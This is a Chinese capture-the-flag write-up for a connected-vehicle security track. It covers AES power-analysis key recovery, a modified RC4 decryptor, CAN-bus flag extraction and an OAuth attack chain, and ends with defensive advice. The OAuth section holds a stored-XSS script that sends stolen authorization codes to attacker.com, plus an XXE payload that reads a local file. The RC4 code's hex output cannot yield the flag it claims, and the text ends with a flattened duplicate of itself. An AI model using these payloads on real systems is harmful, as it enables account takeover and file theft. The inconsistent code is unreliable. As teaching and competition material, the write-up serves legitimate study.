2025 强网杯 车联网赛道writeup
字数 1551 2025-11-11 12:28:52

侧信道攻击与物联网安全实战教学文档

1. AES侧信道攻击实战

1.1 背景与原理

侧信道攻击(Side-Channel Attack) 通过分析密码设备运行时的物理特性(如功耗、电磁辐射、执行时间等)来恢复密钥。本案例针对AES-128算法的硬件实现进行功耗分析。

核心原理:AES第一轮SubBytes操作中,S盒查找操作 SBox(PT[i]⊕k) 的汉明重量与功耗存在线性关系。

1.2 数据集规格

  • 文件格式:TRS (TraceSet)
  • 轨迹数量:10,000条
  • 每条样本数:500个采样点
  • 数据编码:每条记录包含32字节数据(16B明文 + 16B密文) + 500个功耗采样点

1.3 攻击实施步骤

步骤1:TRS文件解析

def parse_trs_header(file_path):
    # 解析TRS文件头,获取轨迹数、样本数等元数据
    pass

def read_traces(file_path, ntraces, nsamples):
    # 逐条读取明文、密文和功耗采样数据
    traces = []
    for i in range(ntraces):
        # 读取32字节数据块
        data_block = file.read(32)
        plaintext = data_block[:16]
        ciphertext = data_block[16:32]
        # 读取500个功耗采样点
        power_samples = np.fromfile(file, dtype=np.float32, count=nsamples)
        traces.append((plaintext, ciphertext, power_samples))
    return traces

步骤2:数据预处理

def normalize_traces(traces):
    # 按列标准化:去均值,除标准差
    # traces形状: (ntraces, nsamples)
    mean = np.mean(traces, axis=0)
    std = np.std(traces, axis=0)
    normalized = (traces - mean) / std
    return normalized

步骤3:泄漏模型构建

汉明重量模型

H = HW(SBox(PT[i] ⊕ k))

其中:

  • PT[i]:明文的第i个字节
  • k:密钥字节猜测值(0-255)
  • HW():汉明重量函数(计算字节中1的个数)
  • SBox():AES的S盒替换函数

步骤4:相关功耗分析(CPA)

def cpa_attack(plaintexts, traces, target_byte):
    """
    对特定字节位置进行CPA攻击
    """
    ntraces = len(plaintexts)
    nsamples = traces.shape[1]
    
    best_correlations = np.zeros(256)  # 每个密钥猜测的最佳相关系数
    best_poi = np.zeros(256, dtype=int)  # 对应的关键采样点
    
    for key_guess in range(256):
        # 计算预测泄漏值
        hypothetical_leakage = []
        for i in range(ntraces):
            sbox_input = plaintexts[i][target_byte] ^ key_guess
            sbox_output = aes_sbox[sbox_input]
            hamming_weight = bin(sbox_output).count('1')  # 汉明重量
            hypothetical_leakage.append(hamming_weight)
        
        # 计算与每个采样点的相关系数
        correlations = np.zeros(nsamples)
        for sample_idx in range(nsamples):
            corr = np.corrcoef(hypothetical_leakage, traces[:, sample_idx])[0,1]
            correlations[sample_idx] = corr if not np.isnan(corr) else 0
        
        # 记录最佳相关值和对应采样点
        best_corr_idx = np.argmax(np.abs(correlations))
        best_correlations[key_guess] = correlations[best_corr_idx]
        best_poi[key_guess] = best_corr_idx
    
    # 选择相关系数绝对值最大的密钥猜测
    recovered_key_byte = np.argmax(np.abs(best_correlations))
    return recovered_key_byte, best_poi[recovered_key_byte]

步骤5:密钥恢复与验证

def recover_full_key(plaintexts, traces):
    key = bytearray(16)
    for byte_idx in range(16):
        key_byte, poi = cpa_attack(plaintexts, traces, byte_idx)
        key[byte_idx] = key_byte
        print(f"Byte {byte_idx}: 0x{key_byte:02x} (POI: {poi})")
    return bytes(key)

def verify_key(plaintexts, ciphertexts, recovered_key):
    # 使用标准AES验证多条样本
    aes = AES.new(recovered_key, AES.MODE_ECB)
    for i in range(min(50, len(plaintexts))):
        encrypted = aes.encrypt(plaintexts[i])
        if encrypted != ciphertexts[i]:
            return False
    return True

1.4 实验结果

  • 恢复的AES-128主密钥CCAEEED667CD6C04C7ABCCC26DC793F1
  • 最后一轮轮密钥FAB3F9784AF8FFA45036A473539D04C6
  • 验证结果:50条样本全部通过验证

1.5 关键要点

  1. 泄漏点识别:第一轮SubBytes操作是最佳攻击点
  2. 数据标准化:提高信噪比,增强相关性
  3. 批量处理:使用矩阵运算替代循环,显著提升效率
  4. 多样本验证:确保密钥正确性

2. 微信小程序逆向与RC4密码分析

2.1 逆向分析流程

步骤1:小程序结构分析

微信小程序未加密情况下可直接分析关键文件:

  • .wxapkg解包获取源码
  • 定位加密相关函数

步骤2:RC4变种算法识别

// 识别出的RC4变种特征
function rc4_modified(key, data) {
    var s = [], k = [];
    // KSA阶段:包含额外常数+3
    for (var i = 0; i < 256; i++) {
        s[i] = i;
        k[i] = key.charCodeAt(i % key.length);
    }
    var j = 0;
    for (var i = 0; i < 256; i++) {
        j = (j + s[i] + k[i % key.length] + 3) % 256;  // 修改点:+3
        [s[i], s[j]] = [s[j], s[i]];  // 交换
    }
    
    // PRGA阶段
    var i = 0, j = 0, result = [];
    for (var n = 0; n < data.length; n++) {
        i = (i + 1) % 256;
        j = (j + s[i]) % 256;
        [s[i], s[j]] = [s[j], s[i]];
        var t = (s[i] + s[j]) % 256;
        var keystream = s[t] & 0xFF;  // 取低8位
        result.push(data[n] ^ keystream);
    }
    return result;
}

步骤3:已知明文攻击实施

def rc4_decrypt_modified(key, ciphertext_hex):
    # 密钥固定为"Z1X3Y4E5Z8V2A6H6"
    ciphertext = bytes.fromhex(ciphertext_hex)
    
    # 实现修改版的RC4 KSA
    s = list(range(256))
    j = 0
    key_bytes = key.encode('utf-8')
    key_length = len(key_bytes)
    
    # 修改的KSA
    for i in range(256):
        j = (j + s[i] + key_bytes[i % key_length] + 3) % 256
        s[i], s[j] = s[j], s[i]
    
    # PRGA
    i = j = 0
    plaintext = []
    for byte in ciphertext:
        i = (i + 1) % 256
        j = (j + s[i]) % 256
        s[i], s[j] = s[j], s[i]
        t = (s[i] + s[j]) % 256
        keystream = s[t] & 0xFF
        plaintext.append(byte ^ keystream)
    
    return bytes(plaintext)

# 解密得到VIN和flag
correct_encrypted = "..."  # 16进制密文
key = "Z1X3Y4E5Z8V2A6H6"
decrypted = rc4_decrypt_modified(key, correct_encrypted)
print(f"Flag: FLAG{{{decrypted.hex().upper()}}}")  # FLAG{L0J6Q0P7H3E2I5U6H}

3. CAN总线信号分析与Flag提取

3.1 CAN信号映射表解析

信号映射表结构(signal_map.csv):

信号名称, CAN ID, 字节位置, 数据类型
sig_1, 0x123, 0, uint8
sig_2, 0x123, 1, uint8
...
sig_72, 0x456, 7, uint8

3.2 信号分类策略

  • sig_1-sig_19:第一类信号类型
  • sig_20-sig_39:第二类信号类型
  • sig_40-sig_59:第三类信号类型
  • sig_60-sig_72:第四类信号类型

3.3 Flag提取算法

import pandas as pd
from collections import Counter

def extract_can_signals(can_log_path, signal_map_path):
    # 读取信号映射表
    signal_map = pd.read_csv(signal_map_path)
    
    # 解析CAN日志
    can_data = parse_can_log(can_log_path)
    
    # 按信号分类提取最后传输的值
    flag_chars = {}
    for sig_type in ['sig_1-19', 'sig_20-39', 'sig_40-59', 'sig_60-72']:
        if sig_type == 'sig_1-19':
            signals = [f'sig_{i}' for i in range(1, 20)]
        # 其他类型类似处理...
        
        for sig_name in signals:
            # 获取该信号的CAN ID和字节位置
            can_id = signal_map[signal_map['signal'] == sig_name]['can_id'].iloc[0]
            byte_pos = signal_map[signal_map['signal'] == sig_name]['byte'].iloc[0]
            
            # 提取该信号最后传输的值
            last_value = extract_last_signal_value(can_data, can_id, byte_pos)
            
            # 转换为ASCII字符
            if 32 <= last_value <= 126:  # 可打印字符
                flag_chars[sig_name] = chr(last_value)
    
    # 按信号顺序拼接Flag
    flag = 'flag{'
    for i in range(1, 73):
        sig_name = f'sig_{i}'
        if sig_name in flag_chars:
            flag += flag_chars[sig_name]
    flag += '}'
    
    return flag

# 提取结果:flag{V3h1cle_N3tw0rk1ng_53cu71ty}

4. OAuth 2.0安全漏洞利用链

4.1 漏洞链概述

  1. 存储型XSS → 2. OAuth授权码窃取 → 3. 权限提升 → 4. XXE文件读取

4.2 详细攻击步骤

阶段1:XSS Payload构造

<!-- 论坛发布的恶意内容 -->
<script>
window.addEventListener('message', function(event) {
    // 监听iframe发送的postMessage
    var url = new URL(event.data.url);
    var code = url.searchParams.get('code');
    
    if (code) {
        // 将授权码外传到攻击者服务器
        var img = new Image();
        img.src = 'https://attacker.com/steal?code=' + code;
    }
});

// 触发OAuth流程
setTimeout(function() {
    var oauthUrl = 'https://sso.autocorp.com/oauth/authorize?' + 
                   'response_type=code&' +
                   'client_id=fleetcorp&' +
                   'redirect_uri=' + encodeURIComponent('https://fleetcorp.com/forum/quick-actions') +
                   '&scope=openid%20profile';
    window.open(oauthUrl);
}, 1000);
</script>

阶段2:权限提升API调用

POST /fleetcorp/api/v1/user/sso/bind HTTP/1.1
Content-Type: application/json
Authorization: Bearer <attacker_token>

{
    "code": "<stolen_authorization_code>"
}

API响应

{
    "success": true,
    "message": "SSO account bound successfully",
    "role": "ADMIN"
}

阶段3:XXE Payload构造

<!-- 车辆报告生成功能的XXE Payload -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE report [
    <!ENTITY xxe SYSTEM "file:///flag">
]>
<vehicleReport>
    <vin>&xxe;</vin>
    <make>Test</make>
    <model>Test</model>
    <year>2024</year>
</vehicleReport>

4.3 服务架构分析

Nginx (端口80)
├── FleetCorp App (端口3001) - 主应用
├── AutoCorp Auth (端口5001) - OAuth提供者
└── Report Generator (端口8081) - XML报告生成

5. 安全防护建议

5.1 侧信道攻击防护

  1. 掩码技术:对中间值添加随机掩码
  2. 时间随机化:引入随机延迟打乱时序
  3. 功耗平衡:设计恒定功耗的逻辑电路

5.2 密码实现安全

  1. 避免自定义密码算法:使用标准经过验证的实现
  2. 密钥管理:安全的密钥存储和轮换机制
  3. 代码混淆:对敏感算法进行混淆保护

5.3 Web应用安全

  1. 输入验证:对所有用户输入进行严格过滤
  2. Content Security Policy:限制脚本执行来源
  3. OAuth安全配置
    • 严格验证redirect_uri
    • 使用state参数防止CSRF
    • 限制授权码生命周期

5.4 车载网络安全

  1. CAN总线加密:对敏感信号进行加密传输
  2. 信号认证:使用MAC确保信号完整性
  3. 网络隔离:关键ECU与信息娱乐系统物理隔离

本教学文档涵盖了从硬件侧信道攻击到Web应用安全的多层次安全技术,提供了完整的实战案例和防护方案,可作为物联网安全研究的综合参考资料。

侧信道攻击与物联网安全实战教学文档 1. AES侧信道攻击实战 1.1 背景与原理 侧信道攻击(Side-Channel Attack) 通过分析密码设备运行时的物理特性(如功耗、电磁辐射、执行时间等)来恢复密钥。本案例针对AES-128算法的硬件实现进行功耗分析。 核心原理 :AES第一轮SubBytes操作中,S盒查找操作 SBox(PT[i]⊕k) 的汉明重量与功耗存在线性关系。 1.2 数据集规格 文件格式 :TRS (TraceSet) 轨迹数量 :10,000条 每条样本数 :500个采样点 数据编码 :每条记录包含32字节数据(16B明文 + 16B密文) + 500个功耗采样点 1.3 攻击实施步骤 步骤1:TRS文件解析 步骤2:数据预处理 步骤3:泄漏模型构建 汉明重量模型 : 其中: PT[i] :明文的第i个字节 k :密钥字节猜测值(0-255) HW() :汉明重量函数(计算字节中1的个数) SBox() :AES的S盒替换函数 步骤4:相关功耗分析(CPA) 步骤5:密钥恢复与验证 1.4 实验结果 恢复的AES-128主密钥 : CCAEEED667CD6C04C7ABCCC26DC793F1 最后一轮轮密钥 : FAB3F9784AF8FFA45036A473539D04C6 验证结果 :50条样本全部通过验证 1.5 关键要点 泄漏点识别 :第一轮SubBytes操作是最佳攻击点 数据标准化 :提高信噪比,增强相关性 批量处理 :使用矩阵运算替代循环,显著提升效率 多样本验证 :确保密钥正确性 2. 微信小程序逆向与RC4密码分析 2.1 逆向分析流程 步骤1:小程序结构分析 微信小程序未加密情况下可直接分析关键文件: .wxapkg 解包获取源码 定位加密相关函数 步骤2:RC4变种算法识别 步骤3:已知明文攻击实施 3. CAN总线信号分析与Flag提取 3.1 CAN信号映射表解析 信号映射表结构 (signal_ map.csv): 3.2 信号分类策略 sig_ 1-sig_ 19 :第一类信号类型 sig_ 20-sig_ 39 :第二类信号类型 sig_ 40-sig_ 59 :第三类信号类型 sig_ 60-sig_ 72 :第四类信号类型 3.3 Flag提取算法 4. OAuth 2.0安全漏洞利用链 4.1 漏洞链概述 存储型XSS → 2. OAuth授权码窃取 → 3. 权限提升 → 4. XXE文件读取 4.2 详细攻击步骤 阶段1:XSS Payload构造 阶段2:权限提升API调用 API响应 : 阶段3:XXE Payload构造 4.3 服务架构分析 5. 安全防护建议 5.1 侧信道攻击防护 掩码技术 :对中间值添加随机掩码 时间随机化 :引入随机延迟打乱时序 功耗平衡 :设计恒定功耗的逻辑电路 5.2 密码实现安全 避免自定义密码算法 :使用标准经过验证的实现 密钥管理 :安全的密钥存储和轮换机制 代码混淆 :对敏感算法进行混淆保护 5.3 Web应用安全 输入验证 :对所有用户输入进行严格过滤 Content Security Policy :限制脚本执行来源 OAuth安全配置 : 严格验证redirect_ uri 使用state参数防止CSRF 限制授权码生命周期 5.4 车载网络安全 CAN总线加密 :对敏感信号进行加密传输 信号认证 :使用MAC确保信号完整性 网络隔离 :关键ECU与信息娱乐系统物理隔离 本教学文档涵盖了从硬件侧信道攻击到Web应用安全的多层次安全技术,提供了完整的实战案例和防护方案,可作为物联网安全研究的综合参考资料。